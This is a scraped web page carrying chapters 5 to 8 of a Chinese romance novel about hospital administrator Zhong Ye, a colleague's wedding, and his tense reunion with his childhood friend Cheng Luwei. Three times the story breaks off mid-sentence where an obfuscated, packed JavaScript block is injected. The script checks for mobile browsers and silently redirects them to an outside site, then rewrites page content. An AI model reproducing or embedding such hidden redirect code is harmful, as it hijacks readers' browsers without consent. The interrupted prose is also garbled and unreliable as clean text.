杯里的酒喝完了,程陆惟招来酒保,重新又点了一杯。他摇头,否认得很干脆,“想什么呢,不是。” 方浩宇也不是个多管闲事的人,就是觉得太可惜了,十多年的感情说断就断,要是换了他,指定得脱好几层皮。 可程陆惟语气如常,眼神里连半分波动都没有,他也就不再追问,仰头喝掉剩下半杯长岛冰茶,拍了拍程陆惟肩膀。 * “诶——” 钟烨坐在椅子上发呆,俞锐用笔尖敲了敲桌面,没把魂召回来,于是伸手搓出个响指,“大白天上我这儿梦游来了?” “嗯?”钟烨这才回神,“聊到哪儿了。” “聊完了。”俞锐放松地靠在办公椅上,“怎么,昨晚没睡好?” “没有,在想别的事。”钟烨翻了翻手里的工作汇报,递过去,交给对方签字。 钟烨背后还站着丁桥。每回到神外他都不太敢吭声,肩背绷得紧紧的,站桩似的立得笔直,一副严阵以待的架势。 其实是紧张。 神外是八院的王牌,招进来的医生放哪儿都是国宝级别,尤其眼前这位鼎鼎大名的俞主任,简直就是熊猫界的男顶流,他是一点得罪不起。 可他得罪不起,不代表他老大得罪不起。 众所周知,神外的俞主任和医务处的钟主任天生不对付,每次一见面就怼,方圆五里全是浓浓的火药味。 今天是科室工作交接。八院每年都会有一批医生去国外交流学习,俞锐也在今年的名单里。 医务处主管全院质控工作,俞锐是神外重症组和脑瘤组的负责人,这趟出去少说大半年,俩人手头都有一堆事要安排。 丁桥抱着病历夹站在背后,看似听着看着,实际眼神偷摸来回瞟,生怕俩人跟之前一样吵起来。 “听说院里的安排下来了,什么时候走?”钟烨再度开口。 “下个月。”俞锐说。 因为一些特殊的原因,俞锐并不能坐飞机,这件事钟烨也是前阵子才知道的。 “坐游轮?”他问。 “不,坐火车,先去莫斯科。”俞锐抬起眼,心情看起来很不错,眼尾和嘴角都是挂着笑的。 “怎么样?是不是很羡慕?” 签完字,文件在他手下贴着桌面转一圈又递回来,钟烨起身接过,签字笔插进胸口袋里,面色从容道:“120多个小时,建议你把痔疮膏带上。” 丁桥:“......” 下午是年度人才大会,门诊有场纠纷闹了好一会儿,钟烨去得晚,前排乌泱泱一片白大褂已经满了。 他在后排坐下没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14114966|149384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多久,手机在西裤口袋里连续震动,震得他腿根发麻。 以为是工作消息,点开一看,消息竟是来自钟烨的师姐欧阳珊。 —师弟,请柬发你了,周末有空来吗? 对话框的最下方是一张电子版婚礼请柬。新郎名字叫田峰,据说两人是在一场音乐会上认识的,恋爱至今还不到半年。 照片上的人有点眼熟,钟烨点开看了半天。 会议中途,赵竟从前排挪到钟烨身边,“看什么看那么入神,跟女朋友聊天呢?” “不是。”钟烨拇指一按,关掉了手机屏幕。 赵竟刻意过来,自然不是聊天来的。 院里今天发生了一件大事,以他谨慎多疑的性格,实在很难忍住不打听。前后都有人,赵晋附在钟烨耳边小声道:“雷副院长的事,你听说没?” 钟烨不习惯与人亲近,下意识往旁边撤,想起上午工作群里新发的通知,“不是身体不好休假了吗?” “那都是对外的说法,哪个副院长身体不好,用休假停职啊,”赵晋轻嗤一声,略显浮夸地瞅眼周围,“据说院办已经在安排张副院长接管工作了,上面还专门派了人下来调查。” 钟烨闻言蹙了蹙眉。 去年开始,医疗行业正式进入改革期。知名的不知名的,许多医院陆续被通报调查,连八院去年年底的内审和外审都比以前严格了许多。 雷副院长是三院调职过来的,现阶段主管院区发展建设和宣传。 有关他的传言其实挺多。 跟过他临床的学生有说他过分严苛,不把人当人,还有说他跟药企民企往来密切有不正当交易。 其中最为轰动的还是前几年因为申报一项专利发明,雷副院长一口气向三院捐款九位数,新闻媒体为此大肆报道,甚至有内部人员上网爆料说他是暗箱操作。 钟烨跟他不算熟。 有回一起出差,当地一家药企安排车接车送,钟烨直言不讳驳了对方面子,雷副院长对此极大意见,之后没少在会上说钟烨太年轻,遇事不懂变通,也不懂人情世故,并不适合领导医务处工作。 会议结束,赵竟从人流里挤出来,试图继续打听:“诶,许科长你不是很熟吗?听说这次负责调查的就是他,你们关系好,就没有什么内幕消息给透露透露?” “不太清楚,我们只谈工作,私下里并没有交流。”钟烨实话实说,赵竟却不信。他腚大腰圆,个子不算高,跟着钟烨的步伐往前走,已经有点喘,钟烨也没管他。 手机有电话呼入,钟烨抬手示意,赵竟强撑着笑脸,了然道,“那行,你先忙。”说完咬咬牙根目送对方离开。 “雷副院长这一走,欧阳院长恐怕就得连任了吧,”有同事跟上来说风凉话,“还是钟主任幸运,有亲老师坐镇,说话做事总比我们这些下面的方便许多。” “可不是!”赵竟满肚子邪火正愁没地方撒,笑脸没了,人也变得尖酸刻薄起来。 “有些人天生命好,当院长的爸没了,还有个嫡亲嫡长的老师,哪像我们有今天没明天的,现在各个部门都在定指标抢绩效,保不齐哪天就把我们这些老人给清走了。” 散会的同事都挤在走廊里,钟烨长腿大迈,一路绕到尽头消防梯的位置才按下接听键。 “还以为你又不接我电话呢。”是欧阳珊的声音。 新娘子就是不一样,幸福隔着听筒都能传递过来,说话音调都是带笑的。 大概是被对方感染了,钟烨语气也不自觉轻缓了许多,“抱歉师姐,刚才在开会,忘了回你。” “没事儿,就是想问你来不来,我这边好排位子。”欧阳珊说。 钟烨并不喜欢这种场合,何况周末上午还有其他工作,“恭喜师姐,我会找人把祝福——” “要祝福就得亲自来,不然我就当你不够诚心。”欧阳珊打断他,“可别说你没时间啊,我爸都能来,你不至于比他还忙吧。” 这话钟烨可不敢接。 欧阳珊的父亲欧阳毅是八院现任院长,虽然同为临床医学出身,欧阳珊却不在八院,也不在临床,直博后选择了留学任教,专攻科研。 欧阳毅跟钟鸿川是同学,也是至交好友,钟烨跟欧阳珊自然也认识了许多年。 在欧阳珊眼里,钟烨不是亲人胜似亲人。她知道钟烨不爱凑热闹,但还是希望钟烨能参加,“我老公也是你们实验中学毕业的,说不定你们还认识呢。” “哦对了,伴郎也是。”说着话锋一转,“叫什么,程陆惟。” 6.第 6 章 特殊时期加上欧阳毅敏感的行政职位,婚礼最终定在了郊区一处度假酒店。 级别虽然只够三星,但胜在位置依山靠水,周围环境和风景都不错。 接亲是在上午,婚礼策划和摄影摄像跟练兵似地全程指挥,给这伙平均年龄30+的兄弟团折腾够呛。 婚礼是场力气活,其他人累得不想动,拿了房卡回去躺着,新郎和伴郎走不了,被扣在休息间,说是等会儿四点多的光线最适合拍照,得重新补个妆。 人比人气死人,程陆惟五官立体,皮肤也好,随手一拍都好看,被按在梳妆台前也只简单扑了点粉。 田峰就不行了,他之前在南方晒得有点黑,光涂脸不行,脖子也得顾上。 方浩宇不用补,站背后看小姑娘在他俩脸上一通折腾,忍不住玩笑道,“阿峰这脸都快赶上我家房子装修了,跟刮腻子似的,不多刷个几层都找不平。” 这人嘴欠,田峰也不反驳,每回都顺着他话说,“羡慕啊,羡慕的话我让化妆师给你也刮一个。” “别——”方浩宇立马举手投降,“我对那玩意儿过敏,拍结婚照那会儿就画了一回,给我闷出一脸的青春痘,半个月都没下去。还是自然的好,反正我媳妇儿也不嫌我磕碜,爱咋滴咋滴吧。” 方浩宇结婚早,小孩儿都够上幼儿园了,不然今天也得做伴郎。 仪式定在傍晚六点,休息间门是敞开的,不断有宾客进来冲田峰说恭喜,等人走后,方浩宇像是忽然想起来,“对了,我听说你媳妇儿是医大毕业啊?那不跟叶子一个学校?搞不好还认识呢。” “钟烨?”田峰被化妆师扣着脖子,“她是说今天有位在医务处工作的师弟要来,我倒是没想过能这么巧。” “你老丈人不是八院院长吗?你媳妇儿师弟又是医务处的,不是叶子还能是谁,对吧陆惟?”方浩宇伸腿踢了踢程陆惟的椅子腿儿,“他跟你提这事儿了吗?” 程陆惟回国小半月,时差还没倒过来,正靠在椅子上补觉。方浩宇挑着眉,七拐八绕地往程陆惟心口上捅刀子,程陆惟闭着眼,不愿搭理。 好巧不巧地,外面有人敲门。 ‘笃笃’两声后,门从外面被人推开,钟烨按着把手站在门口,大概是来得有点急,额头上冒了点汗珠,胸口微微起伏着,连手肘上的衬衫衣袖也忘了放下来。 “师姐——” 刚叫了个称呼,抬头发现里面人不对,立马改口说:“抱歉,是我走错了。” “嘿——,等会儿!”他转身带上门就要走,方浩宇不乐意了,“什么就走错了,你给我站近点儿再说话。” 钟烨于是顿住脚,走了进来。 屋里现在就五个人,化妆师还在给田峰修眉,程陆惟原本快睡着了,这会儿睁开眼也看着钟烨。 “怎么?钟主任贵人多忘事,在这儿跟我们装不认识了?”方浩宇反身坐在椅子上悠悠开口。 “浩宇哥说笑了。”他们坐着,钟烨站着,语气不卑不亢。方浩宇听了挺满意,扭头冲程陆惟比口型‘听到没,叶子叫我哥呢。’ 程陆惟指指耳朵,意思是我没聋。 下一秒视线相撞,程陆惟眼神平静,就这么干看着,也不出声,钟烨轻抿嘴角,转向田峰,眉宇和肩背随之放松下来,“阿峰哥,没想到会是你,好久不见。” 钟烨那天看照片还想了半天,这会儿才把田峰认出来。 以前上中学,钟烨经常从初中部跑去高中找程陆惟,对田峰和方浩宇都不陌生,后来田峰考去外地才没再了联系。大概连牵线的月老都没想到还能有今天这样的缘分。 “是好久不见了,”田峰不能动,眨眼打了个招呼,“欧阳在隔壁,需要我带你过去找她吗?” “没事,我自己去就行,你先忙。”说完钟烨欠了下身,转身走出房间。 “完球,叶子这是真不理你了啊。”门刚带上,方浩宇憋不住又来了。 “话说你到底怎么得罪他了?”方浩宇歪着椅子靠向程陆惟,指指自己,再指指田峰,拍手一摊,“浩宇哥,阿峰哥,到你这儿连个名儿都没有,啧啧,真惨。” “有针吗?”程陆惟这回实在没忍住,转头问,“麻烦给这人的嘴先缝上。” 田峰化完妆起身附和:“我看行。” * 相比隔壁休息室的冷清,新娘所在的化妆间就热闹多了,摄影师架着相机,屋里边边角角都站满了人,气球时不时地挤爆一个。欧阳珊在小房间里换衣服,钟烨不方便进去,跟着指示牌一路找到了女方家属区。 钟烨进去先跟师母打了声招呼。 人逢喜事精神爽,欧阳毅今天穿了一身唐装,头发也刻意打理过,见钟烨一头汗,于是抽了几张纸巾给他。 “医院来的?” 钟烨点点头:“嗯。” 上午有场医疗质控分享会,全市三甲医院的医务处都得派人出席。 钟烨是会议结束过来的。酒店地处旅游区,周末往这边走的人多,他一路开车,连堵带塞花了差不多两小时才到。 祝福的宾客络绎不绝,欧阳毅招呼完,拍了拍钟烨胳膊道:“辛苦了,今天太忙顾不上,等下周回医院,你记得来我办公室一趟,我有点事跟你说。” 钟烨将纸巾揉成团,应了声:“好。” 仪式还没开始,宴会厅左右两边近三十桌几乎都满了。 为了方便入座,每张桌上都标有名牌。女方那边的宾客职业比较统一,父女俩都是学医出身,身边的同事朋友几乎也都来自医疗系统或医疗相关,男方这边就杂了许多,各行各业的都有。 方浩宇的接亲任务已经完成。晚宴开始前,他端着酒杯满场闲聊,四处跟人打听过道对面那群医生都是哪院哪科的。 同学孙博文笑他,“你去打听这干嘛,我看哪科都有,你今天想挂哪科挂哪科,连排队都省了。” 桌上都是实验中学毕业,大家都是老同学,开玩笑也不怕尴尬,方浩宇闻言用胳膊肘推他,“去去去,我又不看病。” “不看病你关心人哪科的干嘛?” 嘴都聊干了,方浩宇倒杯水,喝完擦了擦嘴说:“我给我小姑子找对象呢。” 方浩宇的小姨子正值婚龄,丈母娘每回见面都对他耳提面命,要方浩宇帮忙物色一个合适靠谱的对象。 所谓朋友的朋友也是朋友,婚礼上认识的,稍微一问就能知道人品如何,也算是知根知底,方浩宇感觉有谱,边说边往远处写着八院名牌的那桌指,“你看那儿,那俩医生就不错,个高腿长,长得不比陆惟差。” 没人不喜欢帅哥,同桌女生一听这话,伸长了脖子跟着瞧。 “是挺不错的,两个大帅哥。”其中一位看清对方长相后点头表示认可,“喏,不止呢,后边还有一个新来的。” “哪儿呢,那不是叶子吗。”方浩宇立马认出新来的是钟烨。 工作人员正在调试设备,大厅熄了灯,钟烨没戴眼镜,不方便找自己名字,被方浩宇硬生生拉到了这边。 方浩宇贼心不死,钟烨才坐下,他便开口打听:“那边那两个大帅哥是你同事啊?” 钟烨扭头往他指的方向看,‘嗯’了声转回来。 “哪科的?”方浩宇又问。 在他看来,医生职业光鲜体面,如果要介绍给自家小姑子,眼科牙科口腔科最好。实在不行就什么检验科那些辅助科室,只要不是外科那种成天忙得不见人的就行。 钟烨却说那俩都是神经外科的。 “神经外科?专门开颅的啊,那算了。”方浩宇一听,连连摇头。 姚玥家里也有医生,对他的反应有点应激:“神经外科怎么了,神外可是八院的王牌,普通人还进不了呢。” 北城的三甲医院不少,每家医院各有所长,方浩宇啧了声,“好是好,但我有心理阴影。” 仪式还没开始,方浩宇叹口气,主动聊起了自己结婚前某次相亲的经历。说女方就是神外大夫,俩人当时约在火锅店边吃边聊,方浩宇饭没吃两口,眼睁睁见对方用牙签把脑花上的血管一根根剔得干干净净。 那场面诡异又滑稽,俩人面对面坐着,方浩宇嘴巴张得老大,瞪着对方足足有半分钟没说出话来。 方浩宇闷头喝了口酒,现在想想后脑勺都发紧,“这科室忒恐怖了,真要找个开颅的成天跟我躺一张床,我怕哪天睡着了,她把我也开了。” 满桌人竖着耳朵听他聊,最后笑得合不拢嘴。 钟烨平常不怎么说话,坐在人堆里也沉默得像个影子,听到这里没忍住,抵着鼻尖也动了动嘴角 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136921|149384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “笑了啊?”方浩宇眼尖,“也行,不白费我讲这么多。既然都笑了,那要不要跟哥说说,你跟陆惟是怎么回事?” 说话间,他侧过身跟钟烨碰了碰杯,目光直直盯着钟烨。 钟烨一愣,脸上那点笑意几乎瞬间就淡了下去。视线也转开了,落在桌面反光的水晶玻璃杯上,明显是不太想聊。 “不说也行,”方浩宇也不勉强,“反正着急上火的肯定不是我。” 钟烨仍旧没吭声。 “喂喂——” 音响里传来试音,主持人握着话筒上台致辞。全场开始安静,与此同时,宴会大厅落下一束耀眼的白色追光,花童随着音乐走在最前面。 钟烨没戴眼镜,眼里只有模糊的光影跟轮廓。 台下掌声一阵连着一阵,伴娘挽着程陆惟途径身侧的时候,钟烨握紧手中的玻璃杯,转过了头。 “哎我说方浩宇,你要是真想给你小姑子介绍,何必舍近求远呢,直接把陆惟介绍给你小姑子不就完了吗?” 开口的是姚玥闺蜜,坐在她旁边。姚玥是高中班长,读书那会儿就喜欢程陆惟,在场所有人几乎没谁不知道。闺蜜说话的时候,她拉了一把,没拉住。 “瞎说什么,人家陆惟有对象。”最先接话的是孙博文,也是他们同学。 “我可没瞎说,程陆惟早就跟梁昕娅分手了,是吧方浩宇?” “分手了?什么时候的事?”满桌人皆是一怔,连身旁的钟烨都难掩惊诧,齐齐看向方浩宇。 “都看我干嘛,这事儿别问我,我什么都不知道,要说也轮不到我。”方浩宇转着圆桌不接招,随手拿了只虾慢悠悠剥着,一副事不关己的模样。 忽然,有人‘呀’了一声。大瓶饮料倒在桌上,瓶口是开的,果汁顺着桌沿往下淌。 最先被殃及的是钟烨。 连避都没避,搭在桌面上的袖口和腰间一片狼藉,湿得非常彻底。 “诶我天,瞧我这弄的,”方浩宇以为是自己弄洒的,一把抓过纸巾抽给他,“抱歉啊叶子。” 钟烨低着头,唇线紧绷,长睫下方的眼底辩不出情绪。纸巾擦了两下,他推开椅子起身,“没事,你们先吃,我去趟洗手间。” * 果汁里估计加了点调色剂,衬衣被弄脏的部分颜色很深,钟烨用纸巾蘸着洗手液来回擦拭好几遍,依然没能洗干净。 长廊和宴会厅仅一墙之隔,外面很吵,脑子里也闹哄哄的,耳边还回荡着离开前的对话。 “人谈了十多年,怎么可能说分就分。” “十多年又怎么样,没听过这话吗,谈得越久越结不了,早晚得分。” “行了,当我耳聋呢,”方浩宇最后脸一黑,撂了筷子,“都是同学,婚礼上聊人是非算怎么回事!” 水龙头没关,钟烨定在洗手台前发呆。 微凉的水流穿过指间,手心是空的,衬衣衣角垂到台面上了也没察觉。 “想什么呢,这么入神。”身后乍然落下一道声音。 钟烨抬起头。 玻璃镜面中,程陆惟一身挺括正式的黑色西装站在门口,走廊灯光从后方倾泻进来,衬得他身材挺拔修长。 “没什么。”钟烨收回眼。 程陆惟走进来,看眼钟烨湿透的衬衣,将手里的袋子递给他,“果汁没那么容易洗,先穿我的,尺寸可能大点,你将就一下。” 这是程陆惟早上穿来的衣服,钟烨有些犹豫。 “怎么,不要?”程陆惟忽然起了心思,“不要就叫声‘陆惟哥’听听。” “.....”钟烨于是默不作声地接了过去。 仪式虽然走完了,敬酒还没开始,程陆惟过来送个衣服也不能久留,得赶紧回去。 “程陆惟——”他要走,钟烨蓦地开口。 “出息了啊钟主任,”程陆惟脚步一顿,偏头挑起半边眉,“叫方浩宇和田峰都叫哥,叫我开始连名带姓了。” 按在洗手台上的手不自觉加紧力道,钟烨无视他的玩笑,问道:“你上次说的,是不是真的。” “什么?”程陆惟一时没反应过来。 喉咙像是被什么东西黏住了,钟烨深吸一口气,看着他,“....之前你说这次不走了,是不是真的?” 7.第 7 章 或许是目光过于灼人,亦或是钟烨眼神里含着太多涌动复杂的情绪,程陆惟心里一紧。 “是,这次不走了。”他嘴角上扬,看着钟烨认真地说了一句,“以后也不走了。” 走廊尽头传来叫喊声,新娘和新郎已经准备就位,接下来的敬酒仪式才是重头戏。 程陆惟应声冲那人扬了扬胳膊,转头叮嘱钟烨:“记得把衣服换了。” * 主菜都上齐了,钟烨回到饭桌,方浩宇扫眼他新换的灰色衬衫,问:“陆惟的衣服啊?” “嗯,”尺寸有些大,袖口翻折到了臂弯,钟烨不想过度发散,于是主动转移话题,“在聊什么?” “聊什么你也不感兴趣,”方浩宇怕他饿,转动圆桌给他拿了一盅人参汤鸡垫肚子,“在聊阿峰的创业经历呢。” 田峰是标准的程序员,毕业后在一家知名游戏公司工作过一段时间,之后辞职出来单干,跟几个校友合伙开了间工作室。 赶上前几年国内游戏行业的风口,他们工作室做的游戏挺受年轻人喜欢,几轮融资下来,估值上亿。 田峰也因此早早地实现了财富自由。 今天的伴手礼中就有一台定制复古游戏机,里面存着田峰公司最早研发的两款小游戏,不用连网就能玩。 这种小游戏都很简单,不费脑子,跟他们小时候玩的那种单机游戏差不多,吃饭中途,方浩宇还演示了一遍。 女生还好,男生很少有不对游戏上瘾的。 程陆惟家里以前就有一台平时不用的黑白小电视,连上学习机,再插上卡带就能玩儿。 上初中的时候,程陆惟还沉迷过一段时间。暑假里哪儿也不去,嫌外面天气太热,跟方浩宇还有大帮同学缩在房间里一呆就是一整天,泡面盒零食袋堆得满屋都是,就为了把里面的小游戏打通关。 钟烨那会儿还没上初中,每天守着一张凳子坐在背后写作业,写完还得帮他们收拾现场,看他们歪七扭八地抱着游戏手柄打打杀杀。这样的生活直至暑假过半,陆文慧出差回来一怒之下收缴了游戏卡才算彻底终结。 方浩宇说的没错,即便是今天,钟烨依然对这些不感兴趣。 不过他记得程陆惟以前很厉害,那几盘黄色卡带上的小游戏只有他是全部打通的。 敬酒队伍还在女方宾客区。 耳边充斥着嘈杂的说笑声,方浩宇跟孙博文聊得起劲,钟烨眼神短暂地扫向过道对面。 人群中,程陆惟站在新郎旁边,微笑着跟对面的长辈碰了碰杯,西装熨帖,气质出众,全然已是另一种姿态。 不知为什么,钟烨脑海中忽然闪过那年夏天的某个片段。 旧电扇嗡嗡作响,窗外是聒噪的蝉鸣。 明亮的光线透过窸窣树影落在地毯上,程陆惟就那样盘腿坐在他前面,专注盯着电视画面。 直到一局终结,屏幕伴随游戏音效跳出巨大的game over。程陆惟往椅子上一靠,头压着他的作业本,细碎的额发被风吹乱,眼睛眯弯成浅浅的月牙,问他怎么样,你陆惟哥我厉不厉害。 “想什么呢?叫你半天没反应。”方浩宇用筷子敲了敲碗沿,钟烨蓦地回神,拿起茶壶给自己倒了杯水,“没什么,怎么了?” 方浩宇侧了下身,“我说,我记得陆惟以前那台psp还是你送他的吧?” 钟烨握着茶杯‘嗯’了声。 掌上游戏机在当年还是挺稀奇的玩意儿。 钟鸿川那时要去国外参加一场大型国际论坛,临走前问钟烨想要什么礼物。 以往出差钟鸿川也会问,不过钟烨每回都说随便,唯有那一次他主动开口,问钟鸿川要了一台psp。外国牌子价格都挺贵,不单能打游戏,也能听歌上网看视频。 钟烨记得那时候一台psp能从初中传到高中,学校屡禁不止,火了很长一段时间。 电子产品迭代速度快。 随着手机屏幕分辨率越来越高,无论是当年的psp,还是那台黑白电视游戏机,甚至连同那些不起眼的过去,最终都被收进了程家阴暗狭小的杂物房里,无人问津。 方浩宇喝口酒,按着钟烨肩膀,“我说呢,那psp他宝贝得跟什么似的。” “是吗。”钟烨垂着眼,转着茶杯未置可否。 无论谁送的,带了心意的礼物程陆惟都会好好珍藏。这是程陆惟的体贴和教养,并不是他独有的待遇。 方浩宇想说什么,见钟烨一脸漠然又住了嘴。他往敬酒那边看,程陆惟有些不行了。 国内的婚礼他不常参加,不清楚其中的门道,别人红酒掺可乐,白酒加清水,他是实打实地真喝,一杯接一杯。 方浩宇瞧他脖子和脸通红,过去解围。 钟烨没等到最后。 大厅太吵,中途有几位同事过来聊天,钟烨应付着,吃得差不多了,便移步到室外阳台吹风。 酒店的外部环境确实好,安静人少,空气清新。 这里是二层,往远处看,一半是山峦起伏,一半是灯火通明。钟烨解了领口,靠着栏杆吹风,恰好看到楼下程陆惟出来透气,身后还跟着姚玥。 薄薄的月光罩住楼下一双人影,夜风轻拂而过,钟烨感觉有点冷,静静地看了会儿,收回眼,走了。 他去跟欧阳珊道别,欧阳珊正拎着裙摆跟酒店经理协商能不能加多几个房间。 经理面露难色说实在没有了,要加也只能加床。 婚礼是场硬仗,各项繁文缛节一通走下来,忙得欧阳珊晕头转向,脸上精致的妆容都掩盖不住她的疲惫。 钟烨明天上班,得回市里,主动提出:“需要的话,我可以顺路带几个人回去。” “也行,那就麻烦你了。”欧阳珊实在没有心力再客气,道了声谢。 “没事,师姐有事先忙。”钟烨于是拎上外套,离开大堂去外面等安排。 他从门口出来,程陆惟和姚玥还在喷泉旁边站着。 距离不算远,斜后方明亮的水晶大灯把钟烨的影子拉长,再无声无息地送过去。 程陆惟最先看到他,之后目光就没挪开过,一直在用眼神示意,钟烨没理。 直到姚玥说完话离开,他才缓缓走过去。 “叫你半天不过来,当没看见呢?”伴郎真不白当,程陆惟背靠大理石雕,因为醉酒红着脸,垂着的指间还夹着一根没点的烟,钟烨目光落下去,声音很低。 “什么时候开始抽烟的?” 程陆惟反应有些迟滞,愣了愣,抬起手,“这个?” “不怎么抽,别人给的。”说完顺手丢进了旁边垃圾桶。 这片区域背光,定制的灰色衬衫穿在钟烨身上,领口开着两颗扣子,衬得他脖颈修长,锁骨隐约可见。 程陆惟转回头,目光在钟烨身上打量片刻,“还挺合身,没小时候那么瘦了。” 说话间,程陆惟搭在石柱上的手滑了一下,没站稳。钟烨下意识把人接住,浓重的酒气混着程陆惟身上独有的味道全往他脸上扑,钟烨头皮发紧,连呼吸都停了一刻。 从侧面看,这是有点类似于拥抱的姿势,程陆惟酒劲儿上头,犯晕,脸贴着钟烨肩膀,一动不动。 钟烨僵着胳膊,拍拍他的背,“....程陆惟。” “别动,”程陆惟咕哝一声,“你耗子哥来了。” “什么?”钟烨没太听清。 “哟?怎么了这是?喝多了吧。”方浩宇的大嗓门儿从身后传过来。 程陆惟抬了抬眼皮,不想理他。 已经十点多了,方浩宇喝了酒没办法开车,急着回去,问钟烨,“阿峰说你要回是吧?那我坐你车,正好顺路。” 钟烨点头,程陆惟闻言,撑着胳膊站直了也要走。 “你也要回?”方浩宇喊他,“不给你留了房间吗?上楼就能睡。” “我不,酒店的床睡着不舒服。”说话跟三岁小孩儿似的,走路也不稳,一摇一晃地,还得钟烨上前扶着。 车没停多远,钟烨拉开后门,想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14162835|149384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让程陆惟坐后面。程陆惟不动,绕开他,非要上副驾驶,“让你耗子哥坐后面。” 耗子是方浩宇小时候被人起的诨名。程陆惟喝多了撒酒疯,忽然记上了那声‘浩宇哥’的仇,心里不爽,偏要揭人短。 “不是,叫谁耗子呢?”方浩宇腰杆一挺,伸手挡住他车门。 程陆惟坐上去,乖乖地给自己系上安全带,最后偏头瞥他,“你不叫耗子?” “嘿——,”方浩宇伸手指着他,“我说程陆惟,合着你憋半天了在这儿等着我是吧,人叶子怕你喝多了难受,想让你在后面躺会儿,你瞅瞅你这小心眼儿。” 程陆惟眼一闭,不听他念,还是要在前面。方浩宇真是给他整笑了,隔着车身无奈地冲钟烨摇了摇头。 凌晨不堵车,从酒店回去比下午来时顺利了许多。钟烨不知道程陆惟具体喝了多少,但他酒品还算不错,没怎么闹腾,路上几乎没出声,始终闭着眼睡觉。 车里空气清新剂的味道混着酒味儿有点冲,钟烨放下车窗,让他能睡得稍微舒服点。 方浩宇到家前打了通电话,让他媳妇儿下楼开个门,说手机没电,钥匙忘带了。挂断后,方浩宇拍了拍钟烨椅背。钟烨透过后视镜看他,方浩宇冲他旁边努努嘴,问,“你打算怎么办,给他送家去?” 程肃峵和陆文慧都有早睡的习惯,都这个点了,钟烨不可能还把程陆惟送过去。 “去我那儿。”他说。 “也行,”方浩宇点点头,最后看眼程陆惟,“他今天喝得有点多,你照顾着点。” 钟烨应声:“嗯。” 醉酒的人其实很难睡熟,不过钟烨车开得稳,程陆惟到地方了才醒。 “到了?” “嗯。”钟烨将车挪进停车位,程陆惟按着太阳穴,眉头一皱,立马推门下了车。 钟烨跟在后面,看他吐得昏天黑地,绕回去又从车上拿了瓶矿泉水过来。胃里烧灼得厉害,程陆惟撑着膝盖吐完,接过水。 “先去我那儿吧。”钟烨说。 夜深人静,路边仅有几只扑棱的飞蛾和两盏亮着的路灯。程陆惟扯掉领带,站起身,视线对焦半天才发现这是小院儿。 睡哪儿无所谓,不住酒店就行。程陆惟路上吐了一次,回到钟烨家里又吐了一次。 他今天是白的红的混着喝,现在难受得不行,喉咙到胃像是被人点了一把火。 钟烨去给他收拾房间,他吐完往沙发上一躺,衬衣西裤都没换,单手罩着额头,胸口缓慢起伏着,眉心蹙得极深。 钟烨换完床单出来,费半天劲把人扶进房间。程陆惟趴在枕头上,脑子里嗡嗡的,偶尔咕哝几句。 钟烨进进出出,在床头给他留了杯清水和一张毛巾。起身要走时,手腕被抓住,滚烫的掌心贴着他腕骨,没什么力气,很快又滑了下去。 屋里没开灯,窗外稀薄的月光如一层白纱覆落进来,堪堪罩住床上的人影。 鼻梁很挺,眉毛很浓,双眼皮褶皱很深,侧脸线条流畅利落。 眼前的程陆惟一如从前的程陆惟,只一眼就叫人挪不开视线。 钟烨垂眸看着,程陆惟闭着眼,喉结往下轻轻一滑。 “钟烨....” 思绪顷刻间被打断。 “没良心的,也不叫人...” 躺着的人开始闹脾气,嘴里嘟囔个没完,像受了什么天大的委屈。 钟烨凝住呼吸,嘴唇也逐渐抿紧。 看他睁开眼,眼神干净,眼底是一片清凌的月光,鼻梁下落着一弧浅浅的阴影,眼尾被酒精熏得发红。 明明醉得不行,却不忘对他发出质问,“你打算跟我别扭到什么时候?” 钟烨没出声,保持站立的姿势没变。 凌晨的夜总是很安静,吹进来的夜风越来越凉,薄被落了一半到地上。 直到喝醉的人沉沉睡去,无人窥探的黑暗中,他俯身捡起来,嗓音低落尘埃—— 程陆惟,是你先丢下我的,你忘了吗? 8.第 8 章 程陆惟对钟烨那声‘陆惟’哥的执念是自小就有的。 过完十二月,北城的天气越来越冷,半夜下点雪,早上路面都得结冰。陆文慧担心骑车上学容易冻感冒,特意叮嘱程肃峵每天早起半小时,亲自开车把俩孩子送到学校,晚上再让程陆惟带钟烨蹭方浩宇家的车回来。 方浩宇跟程陆惟同班。因为姥爷重病,方浩宇那学期跟父母回老家呆了小半年,回来才发现程陆惟莫名冒出个弟弟。 其他班走走光了,钟烨今天做值日,他俩等在楼梯口。 “不是,你这弟弟哪儿来的?你妈跟你爸偷偷生的?”天儿太冷,方浩宇去小卖部买了两个烤红薯,边吃边烫得哈气,嘴上也没个把门儿,程陆惟伸脚踹他,“不是亲弟弟,是邻居,就住我家楼下。” 